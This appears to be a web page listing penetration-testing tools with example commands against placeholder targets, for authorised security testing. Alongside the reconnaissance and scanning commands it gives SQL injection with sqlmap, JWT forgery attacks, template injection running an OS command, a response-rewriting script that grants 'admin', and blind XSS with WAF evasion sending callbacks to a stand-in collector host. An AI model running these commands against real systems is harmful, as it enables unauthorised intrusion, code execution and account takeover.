Web Application Penetration Testing Tools
for Evolving Attack Surfaces

Passive subdomain enumeration from 50+ sources (Shodan, VirusTotal, CertSpotter, passive DNS). Fast and low-noise.

# Enumerate subdomains, resolve live ones, output for httpx
subfinder -d target.com -silent \
  | httpx -silent -status-code -title \
  | tee live-subdomains.txt

Active + passive enumeration with graph-based relationship mapping. Slower but finds assets subfinder misses via BRUTE and CERT modes.

amass enum -passive -d target.com \
  -config config.ini \
  -o amass-out.txt

Fast HTTP probing for live hosts, tech fingerprinting, title extraction, status codes. Feeds into nuclei and ffuf.

httpx -l subdomains.txt \
  -tech-detect -title \
  -status-code -json \
  -o httpx-results.json

JavaScript-aware crawler from ProjectDiscovery. Extracts endpoints from SPA apps that traditional spiders miss entirely.

katana -u https://app.target.com \
  -js-crawl -depth 3 \
  -known-files all \
  -o endpoints.txt

Still the reference proxy for web app pentesting. Scanner, Repeater, Intruder, Collaborator, BChecks, and a mature extension ecosystem (Turbo Intruder, Auth Analyzer, JWT Editor).

# BCheck example - custom SSRF template
metadata:
  language: v1-beta
  name: "Blind SSRF via Host header"
given request then
  send request called check replacing headers "Host: {BURP_COLLABORATOR_DOMAIN}"
  if http_interactions() then
    report issue

Rust-based proxy built for speed and collaboration. Better handling of HTTP/2 and HTTP/3, team project sharing, cleaner UI. Not a Burp replacement yet - complementary for specific workflows.

# Caido automate - replay with JWT rotation
caido automate run \
  --workflow jwt-rotate \
  --target https://api.target.com/v1

Python-scriptable proxy for custom interception logic. Best for automated manipulation flows - rotating tokens, injecting headers, fuzzing at the protocol layer.

# Intercept + modify all JSON responses
def response(flow):
    if "application/json" in flow.response.headers.get("content-type", ""):
        data = flow.response.json()
        data["role"] = "admin"
        flow.response.text = json.dumps(data)

Template-based vulnerability scanner with 9,000+ community templates. Run against live hosts from httpx output. Custom templates for client-specific tech stacks are a force-multiplier.

# Run all critical/high templates against live hosts
nuclei -l live-subdomains.txt \
  -severity critical,high \
  -es info,low \
  -stats -o nuclei-findings.json \
  -jsonl

# Custom template - exposed .env file
id: exposed-env-file
info:
  name: Exposed .env File
  severity: high
http:
  - method: GET
    path:
      - "{{BaseURL}}/.env"
    matchers:
      - type: word
        words: ["DB_PASSWORD", "APP_SECRET", "AWS_SECRET"]

Free DAST scanner with a strong OWASP provenance. Best used via API/daemon mode in CI pipelines. Active scan is noisy - use passive scan in proxy mode alongside Burp.

# ZAP API scan (Docker, CI-friendly)
docker run zaproxy/zap-stable \
  zap-api-scan.py \
  -t https://api.target.com/openapi.json \
  -f openapi \
  -r zap-report.html

Covers server misconfigurations and outdated software fingerprints that nuclei templates don't always catch. Loud and slow - run off-hours or with `-Tuning` to limit scope.

nikto -h https://target.com \
  -Tuning 1,2,3,5,8 \
  -output nikto-out.txt

Fast web fuzzer for directory brute-force, vhost discovery, parameter fuzzing. Configurable matchers and filters make it precise where other tools produce noise.

# Directory fuzzing with auto-calibration
ffuf -u https://target.com/FUZZ \
  -w /opt/seclists/Discovery/Web-Content/raft-large-words.txt \
  -ac -mc 200,204,301,302,401,403 \
  -o ffuf-dirs.json -of json

# API parameter fuzzing
ffuf -u https://api.target.com/v1/users?FUZZ=1 \
  -w /opt/seclists/Discovery/Web-Content/api/objects.txt \
  -fw 0 -mc 200

Rust-based recursive content discovery. Automatically dives into discovered directories - better than ffuf for deep-tree enumeration at the cost of more requests.

feroxbuster -u https://target.com \
  -w raft-large-words.txt \
  --depth 3 \
  --filter-status 404,429 \
  -o ferox-out.txt

HTTP parameter discovery tool. Finds hidden GET/POST parameters that swagger docs and source maps don't expose - especially useful for legacy endpoints.

arjun -u https://target.com/api/search \
  --stable -t 10 \
  -oJ arjun-params.json

Automated SQL injection detection and exploitation. Use `--level 5 --risk 3` for thorough testing, `--technique=BT` for time-based blind only. Always use with `--batch` in reports.

# Test from Burp request file, all techniques
sqlmap -r burp-request.txt \
  --level 3 --risk 2 \
  --dbms=mysql \
  --batch --random-agent \
  -o --output-dir=sqlmap-results/

The definitive JWT testing toolkit. Tests alg:none, RS256→HS256 confusion, key injection, embedded JWK, claim manipulation, and custom exploit scripts.

# Run all JWT attack playbook
python3 jwt_tool.py <TOKEN> -M pb

# alg:none attack explicitly
python3 jwt_tool.py <TOKEN> -X a

# RS256→HS256 confusion with server cert
python3 jwt_tool.py <TOKEN> -X k \
  -pk server.pem

Fast XSS parameter analysis with context-aware payload generation. Handles DOM XSS via headless browser, WAF bypass techniques, and blind XSS callback.

dalfox url https://target.com/search?q=test \
  --blind https://your.xss.collector \
  --waf-evasion \
  -o dalfox-findings.json

Server-side template injection detection across Jinja2, Twig, Mako, ERB, Velocity, and 15+ others. Escalates from detection to code execution automatically.

python2 tplmap.py \
  -u "https://target.com/page?name=*" \
  --engine Jinja2 \
  --os-cmd "id"

Visualises GraphQL schema relationships as an interactive graph. Reveals hidden types, relationships between objects (where BOLA lives), and undocumented mutations.

# Pull introspection, feed to Voyager
curl -s -X POST \
  -H "Content-Type: application/json" \
  -d '{"query":"{__schema{types{name fields{name type{name}}}}}"}' \
  https://api.target.com/graphql \
  | python3 -m json.tool > schema.json

GraphQL engine fingerprinting - identifies Apollo, Hasura, Dgraph, AWS AppSync, and others. Engine matters because each has unique vulnerability classes and bypass techniques.

python3 graphw00f.py \
  -d -t https://api.target.com/graphql

Reconstructs a GraphQL schema through field suggestion errors even when introspection is disabled. Bypasses the most common GraphQL hardening measure.

python3 -m clairvoyance \
  -o discovered-schema.json \
  https://api.target.com/graphql

API route brute-forcer using real-world API route wordlists. Finds undocumented endpoints that standard directory lists miss (includes OpenAPI-derived wordlists).

kr scan https://api.target.com \
  -w routes-large.kite \
  -x 20 \
  --fail-status-codes 404,429,500